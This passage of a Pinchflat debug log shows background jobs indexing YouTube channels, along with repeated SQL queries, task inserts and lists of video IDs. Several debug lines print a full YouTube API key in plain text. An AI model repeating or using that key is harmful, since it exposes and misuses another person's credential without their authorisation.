"UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 16:37:07.776 [debug] QUERY OK source="media_items" db=1.0ms idle=152.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:37:07.777 [debug] QUERY OK source="tasks" db=0.1ms idle=153.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800017, 32, ~U[2026-02-10 22:37:07Z], ~U[2026-02-10 22:37:07Z]] 16:37:07.777 [info] {"args":{"id":32},"id":3799978,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":154817,"event":"job:stop","queue_time":502523,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:08.624 [info] {"args":{"id":4},"id":3799979,"meta":{},"system_time":1770763028624756319,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:08.624 [info] {"args":{"id":24},"id":3799980,"meta":{},"system_time":1770763028624798808,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:08.625 [debug] QUERY OK source="sources" db=0.2ms idle=847.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:37:08.625 [debug] QUERY OK source="sources" db=0.1ms idle=847.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:37:08.625 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:08.625 [debug] QUERY OK source="settings" db=0.1ms idle=841.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:08.625 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:08.625 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:08.625 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:08.625 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:37:08.625 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:08.625 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:37:08.626 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:08.626 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:08.626 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:08.626 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:08.787 [debug] QUERY OK source="media_items" db=0.5ms idle=161.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 16:37:08.788 [debug] QUERY OK source="media_items" db=0.3ms idle=162.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:37:08.789 [debug] QUERY OK source="tasks" db=0.1ms idle=163.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800018, 4, ~U[2026-02-10 22:37:08Z], ~U[2026-02-10 22:37:08Z]] 16:37:08.789 [info] {"args":{"id":4},"id":3799979,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":165051,"event":"job:stop","queue_time":451767,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:08.876 [debug] QUERY OK source="media_items" db=0.8ms idle=85.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 16:37:08.876 [debug] QUERY OK source="media_items" db=0.2ms idle=87.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:37:08.877 [debug] QUERY OK source="tasks" db=0.1ms idle=82.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800019, 24, ~U[2026-02-10 22:37:08Z], ~U[2026-02-10 22:37:08Z]] 16:37:08.878 [info] {"args":{"id":24},"id":3799980,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":253043,"event":"job:stop","queue_time":299375,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:09.627 [info] {"args":{"id":26},"id":3799981,"meta":{},"system_time":1770763029626937515,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:09.627 [debug] QUERY OK source="sources" db=0.1ms idle=749.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:37:09.627 [debug] QUERY OK source="settings" db=0.1ms idle=749.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:09.627 [debug] QUERY OK source="media_profiles" db=0.1ms idle=744.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:09.627 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:09.627 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:37:09.628 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:09.628 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:09.705 [debug] QUERY OK source="media_items" db=0.6ms idle=77.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 16:37:09.706 [debug] QUERY OK source="media_items" db=0.5ms idle=78.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:37:09.707 [debug] QUERY OK source="tasks" db=0.1ms idle=79.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800020, 26, ~U[2026-02-10 22:37:09Z], ~U[2026-02-10 22:37:09Z]] 16:37:09.707 [info] {"args":{"id":26},"id":3799981,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":80629,"event":"job:stop","queue_time":547164,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:10.627 [info] {"args":{"id":39},"id":3799982,"meta":{},"system_time":1770763030627697702,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:10.627 [info] {"args":{"id":18},"id":3799983,"meta":{},"system_time":1770763030627745690,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:10.628 [debug] QUERY OK source="sources" db=0.1ms idle=920.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:37:10.628 [debug] QUERY OK source="sources" db=0.2ms idle=920.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:37:10.628 [debug] QUERY OK source="settings" db=0.0ms idle=914.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.628 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.628 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:10.628 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:10.628 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:10.628 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:37:10.628 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 